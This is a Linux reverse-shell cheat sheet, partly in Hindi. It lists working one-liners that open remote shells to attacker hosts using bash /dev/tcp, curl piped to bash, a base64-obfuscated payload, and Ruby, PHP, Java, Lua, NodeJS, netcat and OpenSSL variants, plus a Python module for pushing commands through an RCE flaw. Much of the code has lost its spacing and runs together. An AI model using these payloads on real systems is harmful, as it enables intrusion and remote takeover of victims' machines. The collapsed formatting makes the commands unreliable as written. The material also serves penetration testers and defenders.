curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash.
Symbol safe shell
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Shell explanation
bash -i: इस कमांड का यह भाग एक इंटरैक्टिव (-i) Bash शेल शुरू करता है।
>&: इस कमांड का यह भाग मानक आउटपुट (stdout) और मानक त्रुटि (stderr) को एक ही गंतव्य पर पुनर्निर्देशित करने के लिए एक संक्षिप्त नोटेशन है।
/dev/tcp/<ATTACKER-IP>/<PORT>: यह एक विशेष फ़ाइल है जो निर्दिष्ट IP पते और पोर्ट के लिए एक TCP कनेक्शन का प्रतिनिधित्व करती है।
आउटपुट और त्रुटि धाराओं को इस फ़ाइल पर पुनर्निर्देशित करके, कमांड प्रभावी रूप से इंटरैक्टिव शेल सत्र का आउटपुट हमलावर की मशीन पर भेजता है।
0>&1: इस कमांड का यह भाग मानक इनपुट (stdin) को मानक आउटपुट (stdout) के समान गंतव्य पर पुनर्निर्देशित करता है।
जब एक Remote Code Execution (RCE) कमजोरियों के साथ Linux-आधारित वेब एप्लिकेशन का सामना कर रहे होते हैं, तो एक रिवर्स शेल प्राप्त करना नेटवर्क सुरक्षा जैसे iptables नियमों या जटिल पैकेट फ़िल्टरिंग तंत्रों द्वारा बाधित हो सकता है। ऐसे सीमित वातावरण में, एक वैकल्पिक दृष्टिकोण एक PTY (Pseudo Terminal) शेल स्थापित करना है ताकि समझौता किए गए सिस्टम के साथ अधिक प्रभावी ढंग से बातचीत की जा सके।
इस उद्देश्य के लिए एक अनुशंसित उपकरण toboggan है, जो लक्षित वातावरण के साथ बातचीत को सरल बनाता है।
toboggan का प्रभावी ढंग से उपयोग करने के लिए, अपने लक्षित सिस्टम के RCE संदर्भ के लिए एक Python मॉड्यूल बनाएं। उदाहरण के लिए, nix.py नामक एक मॉड्यूल को इस प्रकार संरचित किया जा सकता है:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
और फिर, आप चला सकते हैं:
toboggan-mnix.py-i
To directly leverage an interractive shell. You can add -b for Burpsuite integration and remove the -i for a more basic rce wrapper.
आपको बस निम्नलिखित को संशोधित करने की आवश्यकता है:
कमजोर होस्ट का URL
आपके पेलोड का उपसर्ग और प्रत्यय (यदि कोई हो)
पेलोड भेजने का तरीका (हेडर? डेटा? अतिरिक्त जानकारी?)
फिर, आप बस कमांड भेज सकते हैं या यहां तक कि upgrade कमांड का उपयोग कर सकते हैं ताकि एक पूर्ण PTY प्राप्त कर सकें (ध्यान दें कि पाइप लगभग 1.3 सेकंड की देरी के साथ पढ़े और लिखे जाते हैं)।
ruby-rsocket-e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'ruby-rsocket-e'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
PHP
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
जावा
r=Runtime.getRuntime()p=r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])p.waitFor()
#Linuxlua-e"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"#Windows & Linuxlua5.1-e'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
हमलावर (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response